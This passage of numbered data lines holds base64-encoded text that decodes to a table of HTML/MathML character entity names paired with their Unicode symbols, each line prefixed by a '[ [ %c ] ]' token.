  3007.   [ [ %c ] ] DQriqYgNCnByb3ANCuKInQ0Kc3VwZHN1Yg0K4quYDQp1cHNpDQrPhQ0KOnplcm86d2lkdGg6c3BhY2UNCuKAiw0KcnNjcg0K7ZOHDQpzcGFyDQriiKUNCjplOmVncg0KzpcNCnNjcG9saW50DQriqJMNCjpub3Q6c3VwZXJzZXQNCuKKg+KDkg0Kc3VjYw0K4om7DQpyaWdodHNxdWlnYXJyb3cNCuKGnQ0KcGx1c2R1DQriqKUNCnJvcGx1cw0K4qiuDQp6ZG90DQrFvA0Kem9wZg0K7ZWrDQo6bm90OmVxdWFsDQriiaANCjpkb3VibGU6bGVmdDphcnJvdw0K4oeQDQpud2Fycm93DQrihpYNCnN1YmUNCuKKhg0KbnZpbmZpbg0K4qeeDQpzbWFsbHNldG1pbnVzDQriiJYNCnVsY3JvcA0K4oyPDQpyaWdodHRocmVldGltZXMNCuKLjA0KcXNjcg0K7ZOGDQpwc2dyDQrPiA0KcHJvZA0K4oiPDQp5b3BmDQrtlaoNCnhyOmFycg0K4p+5DQp5YWN5DQrRjw0Kc3VwbGFycg0K4qW7DQppaW5maW4NCuKnnA0KdXRyaQ0K4pa1DQpxdW90DQoiDQo6cmNlZGlsDQrFlg0KZGRhZ2dlcg0K4oChDQo6ZzpqY3kNCtCDDQpzdW5nDQrimaoNCjpkb3duOnJpZ2h0OnRlZTp2ZWN0b3INCuKlnw0KbWNvbW1hDQriqKkNCnBzY3INCu2ThQ0Kc3Rhcg0K4piGDQpicnZiYXINCsKmDQpidW1wOmUNCuKqrg0KbW5wbHVzDQriiJMNCnByYXANCuKqtw0KeG9wZg0K7ZWpDQplcGFyc2wNCuKnow0KbmVhcmhrDQripKQNCjpzdWNjZWVkczp0aWxkZQ0K4om/DQpiaWdvZG90DQriqIANCmhvbXRodA0K4oi7DQp4Y2FwDQrii4INCmxvbmdsZWZ0YXJyb3cNCuKftQ0Kd3Njcg0K7ZOMDQpsb3diYXINCl8NCm9yZGVyb2YNCuKEtA0Kc2U6YXJyDQrih5gNCmRia2Fyb3cNCuKkjw0KaWlpaW50DQriqIwNCmNvbG9uZXENCuKJlA0KbmdlcXNsYW50DQriqb7MuA0KeG1hcA0K4p+8DQo6bm90Omxlc3M6dGlsZGUNCuKJtA0KOmQ6amN5DQrQgg0KbmNlZGlsDQrFhg0KdnNjcg0K7ZOLDQpzdXBlDQriiocNCnV1bWwNCsO8DQpzdWJwbHVzDQriqr8NCnByZWNuYXBwcm94DQriqrkNCmhlcmNvbg0K4oq5DQpydHJpDQrilrkNCjp1Z3JhdmUNCsOZDQp6ZXRhDQrOtg0KbmxlcXNsYW50DQriqb3MuA0KOnNxdWFyZTpzdXBlcnNldDplcXVhbA0K4oqSDQp6aGN5DQrQtg0Kc3F1Zg0K4paqDQp1c2NyDQrtk4oNCmduOmUNCuKJqQ0KbGNhcm9uDQrEvg0KbGZpc2h0DQripbwNCmxhbmdsZQ0K4p+oDQp0c2N5DQrRhg0KeWljeQ0K0ZcNCmFjOmUNCuKIvsyzDQo6c2NlZGlsDQrFng0KeGN1cA0K4ouDDQp0c2NyDQrtk4kNCmdsOmUNCuKqkg0KeG5pcw0K4ou7DQpicHJpbWUNCuKAtQ0KcnNxYg0KXQ0KY3VycmVuDQrCpA0KbGFncmFuDQrihJINCmlncmF2ZQ0Kw6wNCmFwcHJveA0K4omIDQp0cmllDQriiZwNCjpzY2Fyb24NCsWgDQo6bGVmdDphcnJvdw0K4oaQDQpucGFyYWxsZWwNCuKIpg0Kc210ZQ0K4qqsDQpsYWN1dGUNCsS6DQpzZG90DQrii4UNCnNvcGYNCu2VpA0KdmFycg0K4oaVDQo6ZDpzY3kNCtCFDQpzd2Fycm93DQrihpkNCnl1Y3kNCtGODQo6bmVnYXRpdmU6dmVyeTp0aGluOnNwYWNlDQrigIsNCnN1YnJh
  3008.   [ [ %c ] ] cnINCuKluQ0Kc2NhcA0K4qq4DQpyZGNhDQripLcNCnRicmsNCuKOtA0KOmNsb3NlOmN1cmx5OmRvdWJsZTpxdW90ZQ0K4oCdDQp6c2NyDQrtk48NCjp1bmRlcjpicmFja2V0DQrijrUNCnBsdXMNCisNCjpjb3VudGVyOmNsb2Nrd2lzZTpjb250b3VyOmludGVncmFsDQriiLMNCmxhbWJkYQ0KzrsNCmxvcGx1cw0K4qitDQpyZWFsDQrihJwNCnJvcGYNCu2Vow0KeXVtbA0Kw78NCnN0cmFpZ2h0ZXBzaWxvbg0Kz7UNCm52OmRhc2gNCuKKrQ0KdGludA0K4oitDQpsZzplDQriqpENCmRyYmthcm93DQripJANCmluY2FyZQ0K4oSFDQpkcmNyb3ANCuKMjA0KbG93YXN0DQriiJcNCnJhbmcNCuKfqQ0Kbmx0cmllDQrii6wNCnlzY3INCu2Tjg0KOnNhY3V0ZQ0KxZoNCm9kYmxhYw0KxZENCnFvcGYNCu2Vog0KYmxhY2t0cmlhbmdsZXJpZ2h0DQrilrgNCmJveDpkcg0K4pWTDQp2ZXJ0DQp8DQpiaWd0cmlhbmdsZWRvd24NCuKWvQ0KOm5vdDpsZXNzOmxlc3MNCuKJqsy4DQpyZWN0DQrilq0NCmN1cGN1cA0K4qmKDQpyYWNlDQriiL3MsQ0KdG9lYQ0K4qSoDQp4dmVlDQrii4ENCjp2ZXJiYXINCuKAlg0KeHNjcg0K7ZONDQpwb3BmDQrtlaENCnVhcnINCuKGkQ0Kenduag0K4oCMDQp2c3VwbjplDQriq4zvuIANCmxlc3NhcHByb3gNCuKqhQ0KdGhncg0KzrgNCnNmZ3INCs+CDQpib3g6aGQNCuKVpA0Kbmc6ZQ0K4omnzLgNCnN1cDENCsK5DQpzZWN0DQrCpw0Kc3VwMg0KwrINCjpjOmhjeQ0K0KcNCnNlbWkNCjsNCnN1cDMNCsKzDQpoYXJkY3kNCtGKDQppbnRlZ2Vycw0K4oSkDQpwZXJwDQriiqUNCjpyY2Fyb24NCsWYDQprZ3JlZW4NCsS4DQpwYXJhDQrCtg0Kc2ltZw0K4qqeDQpvYWN1dGUNCsOzDQpyYXJyDQrihpINCndvcGYNCu2VqA0KY3VyYXJyDQrihrcNCnNpbWUNCuKJgw0KdHJpYW5nbGVxDQriiZwNCnBoaXYNCs+VDQpxaW50DQriqIwNCjpkOnpjeQ0K0I8NCmxjZWRpbA0KxLwNCnNoY3kNCtGIDQpzZXh0DQrinLYNCmxuOmUNCuKJqA0KbnZsdHJpZQ0K4oq04oOSDQpzaW1sDQriqp0NCnZvcGYNCu2Vpw0KdmFybm90aGluZw0K4oiFDQpib3g6ZGwNCuKVlg0KOnVicmV2ZQ0KxawNCmJveDpodQ0K4pWnDQpyZHNoDQrihrMNCm5sZWZ0YXJyb3cNCuKGmg0KcmluZw0Ky5oNCmJveDp1cg0K4pWZDQpuY2Fyb24NCsWIDQpubDplDQriiabMuA0KOnJhY3V0ZQ0KxZQNCjpyaWdodDp0cmlhbmdsZTpiYXINCuKnkA0KdW9wZg0K7ZWmDQpiaWdzdGFyDQrimIUNCjpsZWZ0OmRvdWJsZTpicmFja2V0DQrin6YNCmlub2RvdA0KxLENCjpyaWdodDp1cDp0ZWU6dmVjdG9yDQripZwNCm52OmhhcnINCuKkhA0KcGFydA0K4oiCDQpyY3ViDQp9DQprYXBwYXYNCs+wDQpib3g6dnINCuKVnw0Kcmhvdg0Kz7ENCmFwOmUNCuKpsA0Kc21pZA0K4oijDQp0ZG90DQrig5sNCnRvcGYNCu2VpQ0KY3VwZG90DQriio0NCnRvc2ENCuKkqQ0KZXFjaXJjDQriiZYNCnBoZ3INCs+GDQphbmd6YXJyDQrijbwNCmJsYWNrdHJpYW5nbGUNCuKWtA0KY3lsY3R5DQrijK0NCnNvbGINCuKnhA0K
  3009.   [ [ %c ] ] Y3VwY2FwDQriqYYNCmRyY29ybg0K4oyfDQpjc2NyDQrtkrgNCjpsZWZ0OmNlaWxpbmcNCuKMiA0KbGZsb29yDQrijIoNCjp1ZGJsYWMNCsWwDQpjY3Vwc3NtDQriqZANCmV4Y2wNCiENCmtvcGYNCu2VnA0KbWxkcg0K4oCmDQpuYWN1dGUNCsWEDQpic2ltDQriiL0NCmllY3kNCtC1DQpsbmVxDQriqocNCjpkb3duOmxlZnQ6dGVlOnZlY3Rvcg0K4qWeDQpsY3ViDQp7DQo6bm90OnNxdWFyZTpzdXBlcnNldDplcXVhbA0K4oujDQpvaGdyDQrPiQ0KYXBvcw0KJw0KbmN1cA0K4qmCDQplcHNpDQrOtQ0KbGVxcQ0K4ommDQo6bjpqY3kNCtCKDQpuamN5DQrRmg0KYnNjcg0K7ZK3DQphbmdydHZiDQriir4NCmJveDp2bA0K4pWiDQpsYXRlDQriqq0NCmF1bWwNCsOkDQpqb3BmDQrtlZsNCmxuYXANCuKqiQ0KOm5vdDpzdWNjZWVkczp0aWxkZQ0K4om/zLgNCmxlc3NlcXFndHINCuKqiw0KYm94OnZoDQrilasNCmJzb2wNClwNCmJ1bXANCuKJjg0KbWxjcA0K4qubDQpuYnNwDQrCoA0Kb2FzdA0K4oqbDQo6c2hvcnQ6ZG93bjphcnJvdw0K4oaTDQpib3g6dWwNCuKVnA0KOmE6bTpwDQomDQphc2NyDQrtkrYNCmJ1bGwNCuKAog0KbGFycmxwDQrihqsNCjp1YWN1dGUNCsOaDQppb3BmDQrtlZoNCmxhcnINCuKGkA0Kbm1pZA0K4oikDQpkb3RwbHVzDQriiJQNCm9pbnQNCuKIrg0Kc3VjY2N1cmx5ZXENCuKJvQ0KbGVzZw0K4oua77iADQpuZ3RyDQriia8NCjpyaWdodDp1cDp2ZWN0b3I6YmFyDQripZQNCnNtZXBhcnNsDQrip6QNCmR6Y3kNCtGfDQpldXJvDQrigqwNCmxqY3kNCtGZDQpuZXhpc3QNCuKIhA0KY3VydmVhcnJvd3JpZ2h0DQrihrcNCmhiYXINCuKEjw0KOnZkYXNobA0K4qumDQo6dGhpY2s6c3BhY2UNCuKBn+KAig0KYi5zaWdtYQ0K7ZuUDQpuZXF1aXYNCuKJog0Kbmxlcw0K4qm9zLgNCmhhbGYNCsK9DQpob3BmDQrtlZkNCm5sZHINCuKApQ0Kb21pZA0K4qa2DQpubGVxDQriibANCjpvOmhncg0KzqkNCmR0cmkNCuKWvw0KaW90YQ0KzrkNCmFwaWQNCuKJiw0KZHN0cm9rDQrEkQ0KbGRzaA0K4oayDQpsZXNnZXMNCuKqkw0KOnRyaXBsZTpkb3QNCuKDmw0KOnVwOmVxdWlsaWJyaXVtDQripa4NCmxtb3VzdA0K4o6wDQpkb3duZG93bmFycm93cw0K4oeKDQpnc2NyDQrihIoNCm1hbHQNCuKcoA0KOnRjYXJvbg0KxaQNCmF3Y29uaW50DQriiLMNCmhhbWlsdA0K4oSLDQppYWN1dGUNCsOtDQpvZG90DQriipkNCm9vcGYNCu2VoA0KOm5vdDpodW1wOmVxdWFsDQriiY/MuA0KbGVzZG90DQriqb8NCmltb2YNCuKKtw0KbGFycmhrDQrihqkNCmtoZ3INCs+HDQpzYzplDQriqrQNCjpsb25nOmxlZnQ6YXJyb3cNCuKftQ0KOnJpZ2h0OmFycm93OmJhcg0K4oelDQpjaXJjbGVhcnJvd3JpZ2h0DQrihrsNCm5wb2xpbnQNCuKolA0KOmludmlzaWJsZTpjb21tYQ0K4oGjDQpraGN5DQrRhQ0KOmw6amN5DQrQiQ0KZnNjcg0K7ZK7DQpsYXJyZnMNCuKknQ0KZXVtbA0Kw6sNCm5idW1wZQ0K4omPzLgNCm5vcGYNCu2Vnw0KZ3NpbQ0K4omzDQppb2N5DQrRkQ0KOmU6dDpo
  3010.   [ [ %c ] ] DQrDkA0KbWFwc3RvDQrihqYNCm9kaXYNCuKouA0KZ3RjYw0K4qqnDQpjc3VwDQriq5ANCmhrc3dhcm93DQripKYNCmxvemYNCuKnqw0KbmNhcA0K4qmDDQo6cGx1czptaW51cw0KwrENCmJ1bGxldA0K4oCiDQpramN5DQrRnA0KbmFuZw0K4oig4oOSDQo6ZGlmZmVyZW50aWFsOmQNCuKFhg0KYi5lcHNpDQrtm4YNCmVzY3INCuKErw0KOmxlZnQ6Zmxvb3INCuKMig0KbWFsZQ0K4pmCDQo6bm90OmdyZWF0ZXI6c2xhbnQ6ZXF1YWwNCuKpvsy4DQpoYXJyDQrihpQNCm1vcGYNCu2Vng0KY3VsYXJyDQrihrYNCmRzY3kNCtGVDQppbnRjYWwNCuKKug0Kb3JzbG9wZQ0K4qmXDQpndHJzaW0NCuKJsw0Kb2Npcg0K4oqaDQpvZ29uDQrLmw0KOmdyZWF0ZXI6dGlsZGUNCuKJsw0KbGFycnBsDQripLkNCm5nZXMNCuKpvsy4DQpudHJpYW5nbGVsZWZ0ZXENCuKLrA0KOmRpYWNyaXRpY2FsOmFjdXRlDQrCtA0KbmlzZA0K4ou6DQo6ZGlhY3JpdGljYWw6ZG90DQrLmQ0KbGRjYQ0K4qS2DQpsaGFydWwNCuKlqg0KbmdlcQ0K4omxDQpkc2NyDQrtkrkNCmVwYXINCuKLlQ0KbWFjcg0Kwq8NCmIuOmxhbWJkYQ0K7ZqyDQpsb3BmDQrtlZ0NCmVzaW0NCuKJgg0KY3N1Yg0K4quPDQo6bGVmdDphbmdsZTpicmFja2V0DQrin6gNCmxhcnJ0bA0K4oaiDQpwcmVjc2ltDQriib4NCjpub3Q6dGlsZGUNCuKJgQ0KZHNvbA0K4qe2DQpjdXBzDQriiKrvuIANCmxhbmcNCuKfqA0Ka3Njcg0K7ZOADQptb2RlbHMNCuKKpw0KOm5vdDpncmVhdGVyOmZ1bGw6ZXF1YWwNCuKJp8y4DQpmcmFjMTYNCuKFmQ0KY2RvdA0KxIsNCmNvcGYNCu2VlA0KOmZpbGxlZDp2ZXJ5OnNtYWxsOnNxdWFyZQ0K4paqDQpmcmFjMTQNCsK8DQpmcmFjNzgNCuKFng0KY2VudA0KwqINCmZyYWMxNQ0K4oWVDQpmcmFjMjMNCuKFlA0KaXNpbmRvdA0K4ou1DQpmcmFjMTINCsK9DQpxdWVzdGVxDQriiZ8NCmRvd25oYXJwb29ubGVmdA0K4oeDDQpiLmlvdGENCu2big0KZnJhYzEzDQrihZMNCmZyYWMyNQ0K4oWWDQpnZXNsDQrii5vvuIANCm5zdXANCuKKhQ0KZnJhYzM0DQrCvg0KZnJhYzU4DQrihZ0NCmtjZWRpbA0KxLcNCmZyYWMzNQ0K4oWXDQpqc2NyDQrtkr8NCmZyYWM1Ng0K4oWaDQpob3JiYXINCuKAlQ0KOm1pbnVzOnBsdXMNCuKIkw0Kb2hhY2dyDQrPjg0KYm9wZg0K7ZWTDQpib3h2DQrilIINCmRhc2gNCuKAkA0KZnJhYzQ1DQrihZgNCml1bWwNCsOvDQpvbWludXMNCuKKlg0KZGlhbQ0K4ouEDQo6ZTpuOmcNCsWKDQpmcmFjMzgNCuKFnA0KOmk6ZWN5DQrQlQ0KOnJpZ2h0OnVwOmRvd246dmVjdG9yDQripY8NCnZzdWJuOmUNCuKri++4gA0KbHNxYg0KWw0KbnN1YnNldGVxDQriiogNCmZyYWMxOA0K4oWbDQpnamN5DQrRkw0KOnByZWNlZGVzOnRpbGRlDQriib4NCmZub2YNCsaSDQppc2NyDQrtkr4NCm5wcmUNCuKqr8y4DQphb3BmDQrtlZINCmRhcnINCuKGkw0KZ25hcA0K4qqKDQo6bGVmdDp0cmlhbmdsZTpiYXINCuKnjw0Kc3VibXVsdA0K4quBDQpndHJhcnINCuKluA0KaGVsbGlwDQrigKYNCmxtaWRv
  3011.   [ [ %c ] ] dA0KxYANCmJveGgNCuKUgA0KOmV4cG9uZW50aWFsOmUNCuKFhw0KbnN1Yg0K4oqEDQpzdWJlZG90DQriq4MNCmIuYmV0YQ0K7ZuDDQpmbGF0DQrima0NCjp0Y2VkaWwNCsWiDQo6Z3JlYXRlcjpncmVhdGVyDQriqqINCjpzdWJzZXQ6ZXF1YWwNCuKKhg0KZGpjeQ0K0ZINCmludGVyY2FsDQriiroNCjprOmpjeQ0K0IwNCmhzY3INCu2SvQ0KaXNpbg0K4oiIDQpsZXNkb3Rvcg0K4qqDDQpydWx1aGFyDQripagNCmNpcmMNCsuGDQpnbmVxDQriqogNCm1pZGRvdA0KwrcNCjpub3Q6c3F1YXJlOnN1YnNldDplcXVhbA0K4ouiDQo6azpoZ3INCs6nDQo6Z3JlYXRlcjpsZXNzDQriibcNCm5zdWJzZXQNCuKKguKDkg0KOnQ6cjphOmQ6ZQ0K4oSiDQpjaXJlDQriiZcNCmNvcHkNCsKpDQpsdHJpDQril4MNCm5lc2Vhcg0K4qSoDQo6YzpvOnA6eQ0KwqkNCnF1YXRpbnQNCuKolg0KZ3RyZXFxbGVzcw0K4qqMDQpnZXFxDQriiacNCjprOmhjeQ0K0KUNCm5wYXINCuKIpg0Kb3Njcg0K4oS0DQplZWdyDQrOtw0KbGRxdW9yDQrigJ4NCmJub3QNCuKMkA0KZ2RvdA0KxKENCmdvcGYNCu2VmA0KbnRnbA0K4om5DQpmb3JrDQrii5QNCjppOm9jeQ0K0IENCm5zaW0NCuKJgQ0KbnZnZQ0K4oml4oOSDQo6bm90OnJpZ2h0OnRyaWFuZ2xlDQrii6sNCmJldGgNCuKEtg0KZWNpcg0K4omWDQpudmx0DQo84oOSDQo6Y2F5bGV5cw0K4oStDQptYXJrZXINCuKWrg0Kc2V0bWludXMNCuKIlg0KYXRpbGRlDQrDow0KZW5zcA0K4oCCDQpvc29sDQriipgNCmNoY3kNCtGHDQp2emlnemFnDQrippoNCmVxdWFscw0KPQ0KbnNjcg0K7ZODDQpvcGFyDQriprcNCjpkb3duOnJpZ2h0OnZlY3Rvcg0K4oeBDQo6bGVmdDp1cDp2ZWN0b3INCuKGvw0Kb2Rzb2xkDQriprwNCnN1YnNldG5lcXENCuKriw0KOm86aGFjZ3INCs6PDQplbXNwDQrigIMNCmZvcGYNCu2Vlw0KbWFwc3RvdXANCuKGpQ0KOm5vdDpncmVhdGVyOnRpbGRlDQriibUNCjpyYXJydGwNCuKklg0KYi5sYW1iZGENCu2bjA0KYmV0YQ0KzrINCm1pZGNpcg0K4quwDQphbmR2DQriqZoNCmNvbXANCuKIgQ0KOnNob3J0OnVwOmFycm93DQrihpENCmNhcHMNCuKIqe+4gA0KbHBhcg0KKA0KbXNjcg0K7ZOCDQplZG90DQrElw0KZW9wZg0K7ZWWDQo6bm90OnN1YnNldDplcXVhbA0K4oqIDQpudmd0DQo+4oOSDQpsc2ltDQriibINCmJ1bXBlcQ0K4omPDQphcGFjaXINCuKprw0KbGxoYXJkDQripasNCmx0Y2MNCuKqpg0KbnZsZQ0K4omk4oOSDQpvcmRtDQrCug0KYmJyaw0K4o61DQpoYWlyc3ANCuKAig0KbWlkYXN0DQoqDQpsc2NyDQrtk4ENCjpub3Q6Z3JlYXRlcjpsZXNzDQriibkNCnByOmUNCuKqsw0KOnJpZ2h0OnRlZQ0K4oqiDQpkb3BmDQrtlZUNCm52YXANCuKJjeKDkg0Kb3VtbA0Kw7YNCnVwc2lsb24NCs+FDQphbmdlDQripqQNCmd0cmRvdA0K4ouXDQpsYXRhaWwNCuKkmQ0KcmlnaHRoYXJwb29uZG93bg0K4oeBDQphbmRkDQriqZwNCmhlYXJ0cw0K4pmlDQpvcm9yDQriqZYNCjpyaWdodDphcnJvdw0K4oaSDQpoZWFydHN1aXQN
  3012.   [ [ %c ] ] CuKZpQ0KOmhvcml6b250YWw6bGluZQ0K4pSADQpzdWNjc2ltDQriib8NCjpubzpicmVhaw0K4oGgDQpvZ3JhdmUNCsOyDQpvcmRmDQrCqg0KOm5vdDplcXVhbDp0aWxkZQ0K4omCzLgNCmNvbmcNCuKJhQ0KZXF2cGFyc2wNCuKnpQ0KbnNjZQ0K4qqwzLgNCm50bGcNCuKJuA0KOnN1Y2NlZWRzDQriibsNCjpsZXNzOmxlc3MNCuKqoQ0KbWludXNiDQriip8NCmlkaWFncg0KzpANCmI6bm90DQriq60NCmxlZnRyaWdodGFycm93cw0K4oeGDQo6bm90OnRpbGRlOnRpbGRlDQriiYkNCnN1cHNldG5lcQ0K4oqLDQpiYWNrc2ltDQriiL0NCmR6aWdyYXJyDQrin78NCm1pbnVzZA0K4oi4DQpzdXBzZXRlcXENCuKrhg0KOmRvdWJsZTpsb25nOmxlZnQ6cmlnaHQ6YXJyb3cNCuKfug0KbGJyYWNlDQp7DQo6dXA6dGVlOmFycm93DQrihqUNCmxlZnRhcnJvd3RhaWwNCuKGog0KbnByZWNlcQ0K4qqvzLgNCm52cnRyaWUNCuKKteKDkg0KbGJyYWNrDQpbDQo6dXA6ZG93bjphcnJvdw0K4oaVDQplcXVlc3QNCuKJnw0KdHJpYW5nbGVyaWdodGVxDQriirUNCmhvb2tsZWZ0YXJyb3cNCuKGqQ0KZWNhcm9uDQrEmw0KaHlidWxsDQrigYMNCm50cmlhbmdsZXJpZ2h0DQrii6sNCjpkaWFjcml0aWNhbDpncmF2ZQ0KYA0KOmRvd246YXJyb3c6dXA6YXJyb3cNCuKHtQ0KYi46Z2FtbWENCu2aqg0KYm94dTpyDQrilZgNCjp1bmRlcjpwYXJlbnRoZXNpcw0K4o+dDQpkYWxldGgNCuKEuA0KOmludGVyc2VjdGlvbg0K4ouCDQpscmhhcmQNCuKlrQ0KbnduZWFyDQripKcNCmIuemV0YQ0K7ZuHDQpvdGltZXMNCuKKlw0KOnByb2R1Y3QNCuKIjw0KY2FwY3VwDQriqYcNCmIua2FwcGF2DQrtm54NCmx0aHJlZQ0K4ouLDQpudW1lcm8NCuKElg0KdmFydHJpYW5nbGVyaWdodA0K4oqzDQpwb2ludGludA0K4qiVDQplY29sb24NCuKJlQ0KbnNjY3VlDQrii6ENCmNvbmludA0K4oiuDQpscGFybHQNCuKmkw0KZmZpbGlnDQrvrIMNCmhzdHJvaw0KxKcNCjpjb3Byb2R1Y3QNCuKIkA0KYm94djpyDQrilZ4NCmJveHY6bA0K4pWhDQplYWN1dGUNCsOpDQo6YmFja3NsYXNoDQriiJYNCjpjZW50ZXI6ZG90DQrCtw0KYm94djpoDQrilaoNCnRvcGZvcmsNCuKrmg0KY29sb25lDQriiZQNCm90aWxkZQ0Kw7UNCnByZWNhcHByb3gNCuKqtw0KbnN1Y2NlcQ0K4qqwzLgNCmxzYXF1bw0K4oC5DQo6djpkYXNoDQriiqsNCmNvbW1hdA0KQA0KOmh1bXA6ZXF1YWwNCuKJjw0KYi46ZGVsdGENCu2aqw0KYm94dTpsDQrilZsNCmNlbXB0eXYNCuKmsg0KOmdyZWF0ZXI6ZXF1YWw6bGVzcw0K4oubDQpiaWdjdXANCuKLgw0KYi51cHNpDQrtm5YNCmludGxhcmhrDQriqJcNCmRjYXJvbg0KxI8NCmRmaXNodA0K4qW/DQpmZW1hbGUNCuKZgA0KZWxzZG90DQriqpcNCmxsY29ybmVyDQrijJ4NCmZmbGxpZw0K76yEDQplZWFjZ3INCs6uDQpuc3VwOmUNCuKrhsy4DQpjYXBkb3QNCuKpgA0KOmxlZnQ6dHJpYW5nbGU6ZXF1YWwNCuKKtA0KbndhcmhrDQripKMNCmNhcGFuZA0K4qmEDQo6cmV2ZXJzZTp1cDplcXVpbGli
  3013.   [ [ %c ] ] cml1bQ0K4qWvDQphZ3JhdmUNCsOgDQpjaXJzY2lyDQrip4INCmIuOm9tZWdhDQrtm4ANCmFuZ21zZA0K4oihDQpjYXBjYXANCuKpiw0Kc3c6YXJyDQrih5kNCnI6YXRhaWwNCuKknA0KdHJpYW5nbGUNCuKWtQ0KbnRpbGRlDQrDsQ0KYmlnY2FwDQrii4INCmdjZWRpbA0KxKMNCmxvbmdtYXBzdG8NCuKfvA0KOnNxdWFyZTpzdWJzZXQNCuKKjw0KcmJya3NsZA0K4qaODQpsOmJhcnINCuKkjg0KdmFyc3Vic2V0bmVxDQriiorvuIANCm5zdXBzZXQNCuKKg+KDkg0KYi5waGl2DQrtm58NCmFuZGFuZA0K4qmVDQo6ZG91YmxlOmxvbmc6bGVmdDphcnJvdw0K4p+4DQo6bm90OnRpbGRlOmVxdWFsDQriiYQNCjpzdWNoOnRoYXQNCuKIiw0KbGVzc2VxZ3RyDQrii5oNCnBhcmFsbGVsDQriiKUNCmJveHBsdXMNCuKKng0KcGxhbmNraA0K4oSODQplbXB0eXYNCuKIhQ0KZ2VzZG90bw0K4qqCDQpib3hkOnINCuKVkg0KbnJhcnJjDQripLPMuA0KYnNvbGhzdWINCuKfiA0KYmVjYXVzZQ0K4oi1DQpkaXZpZGUNCsO3DQplOmRvdA0K4omRDQpyYnJrc2x1DQrippANCm9yaWdvZg0K4oq2DQpkOmhhcg0K4qWlDQpsZWZ0cmlnaHRoYXJwb29ucw0K4oeLDQpiLnJob3YNCu2boA0KOm5vdDpsZXNzDQriia4NCmRpZ2FtbWENCs+dDQpkOmFycg0K4oeTDQpnYWN1dGUNCse1DQppc2luOmUNCuKLuQ0KbDphYXJyDQrih5oNCmJhcndlZA0K4oyFDQpsdGxhcnINCuKltg0KbnJhcnJ3DQrihp3MuA0KZGlhbW9uZA0K4ouEDQpiYXJ2ZWUNCuKKvQ0KbnNpbWVxDQriiYQNCmJveGQ6bA0K4pWVDQpkaXZvbngNCuKLhw0KOnN1Y2NlZWRzOmVxdWFsDQriqrANCmd0bDpwYXINCuKmlQ0Kb3NsYXNoDQrDuA0KOnJpZ2h0OmZsb29yDQrijIsNCjpuZWdhdGl2ZTp0aGljazpzcGFjZQ0K4oCLDQphbmdzcGgNCuKIog0KYmVtcHR5dg0K4qawDQpib3hoOmQNCuKVpQ0KOm5vdDpsZXNzOnNsYW50OmVxdWFsDQriqb3MuA0KbnN1YjplDQriq4XMuA0Kc2ltcmFycg0K4qWyDQpsdGltZXMNCuKLiQ0KY2lyY2xlZDpyDQrCrg0KOnByZWNlZGVzDQriiboNCmNpcmNsZWQ6cw0K4pOIDQo6ZGlhY3JpdGljYWw6dGlsZGUNCsucDQo6czpvOmY6dGN5DQrQrA0KZ2FtbWFkDQrPnQ0KbnBhcnNsDQriq73ig6UNCm52ZGFzaA0K4oqsDQpkYWdnZXINCuKAoA0KOmxlc3M6dGlsZGUNCuKJsg0KYWJyZXZlDQrEgw0KY3VybHl3ZWRnZQ0K4ouPDQo6bm90OnNxdWFyZTpzdWJzZXQNCuKKj8y4DQpmb3JhbGwNCuKIgA0KZ3ZlcnRuZXFxDQriianvuIANCm1hcHN0b2xlZnQNCuKGpA0KYm94aDp1DQrilagNCjpyOmJhcnINCuKkkA0KbHVydWhhcg0K4qWmDQpuc3FzdXBlDQrii6MNCmJlcm5vdQ0K4oSsDQpiLmNoaQ0K7ZuYDQpsdHF1ZXN0DQriqbsNCjpuZXN0ZWQ6bGVzczpsZXNzDQriiaoNCmJrYXJvdw0K4qSNDQpyOmJhcnINCuKkjw0KY29tcGZuDQriiJgNCnRoaWNrYXBwcm94DQriiYgNCmlxdWVzdA0Kwr8NCmJpZ3ZlZQ0K4ouBDQpjb3B5c3INCuKElw0KOnZlcnk6dGhpbjpzcGFjZQ0K4oCKDQpjaXJtaWQN
  3014.   [ [ %c ] ] CuKrrw0KY29wcm9kDQriiJANCnVwaGFycG9vbnJpZ2h0DQrihr4NCnN1cHNldGVxDQriiocNCnNpbXBsdXMNCuKopA0KbHN0cm9rDQrFgg0KZGxjb3JuDQrijJ4NCmxvb3BhcnJvd2xlZnQNCuKGqw0KYm93dGllDQrii4gNCmN3Y29uaW50DQriiLINCmlzaW5zdg0K4ouzDQphYWN1dGUNCsOhDQpoOmFycg0K4oeUDQpyOmFhcnINCuKHmw0KZWdzZG90DQriqpgNCnN1Y2NuYXBwcm94DQriqroNCnZhcmVwc2lsb24NCs+1DQpib3R0b20NCuKKpQ0KcmFycnNpbQ0K4qW0DQpuc3FzdWJlDQrii6INCjp2ZXJ0aWNhbDp0aWxkZQ0K4omADQo6cmlnaHQ6dXA6dmVjdG9yDQrihr4NCjp1bmRlcjpiYXINCl8NCnR3b2hlYWRyaWdodGFycm93DQrihqANCmIuZXRhDQrtm4gNCmVhc3Rlcg0K4qmuDQpsc3F1b3INCuKAmg0KbWFwc3RvZG93bg0K4oanDQo6bm90OmdyZWF0ZXI6Z3JlYXRlcg0K4omrzLgNCnhoOmFycg0K4p+6DQo6bGVmdDphcnJvdzpyaWdodDphcnJvdw0K4oeGDQplZ3JhdmUNCsOoDQpnYnJldmUNCsSfDQpycHBvbGludA0K4qiSDQo6dXA6YXJyb3cNCuKGkQ0KbnNob3J0cGFyYWxsZWwNCuKIpg0KbnByY3VlDQrii6ANCmNjZWRpbA0Kw6cNCmIucmhvDQrtm5INCmNpcmNlcQ0K4omXDQpiLnBoaQ0K7ZuXDQpoc2xhc2gNCuKEjw0KbGRydXNoYXINCuKliw0KaGtzZWFyb3cNCuKkpQ0KbXN0cG9zDQriiL4NCjpub3Q6ZWxlbWVudA0K4oiJDQpib3hib3gNCuKniQ0KcXVhdGVybmlvbnMNCuKEjQ0KcmFlbXB0eXYNCuKmsw0KY2Nhcm9uDQrEjQ0KZ2VzbGVzDQriqpQNCm46Z3R2DQriiavMuA0KOm5vdDpodW1wOmRvd246aHVtcA0K4omOzLgNCmIucGl2DQrtm6ENCjpub3Q6c3VjY2VlZHM6ZXF1YWwNCuKqsMy4DQpiLnRhdQ0K7ZuVDQo6dXBzaWxvbg0KzqUNCmJsYWNrdHJpYW5nbGVsZWZ0DQril4INCnVwaGFycG9vbmxlZnQNCuKGvw0KOnJpZ2h0OmFuZ2xlOmJyYWNrZXQNCuKfqQ0KdGhlcmVmb3JlDQriiLQNCjpkb3VibGU6cmlnaHQ6dGVlDQriiqgNCmpzZXJjeQ0K0ZgNCmw6aGFyDQripaINCmd0cmFwcHJveA0K4qqGDQpjYWN1dGUNCsSHDQ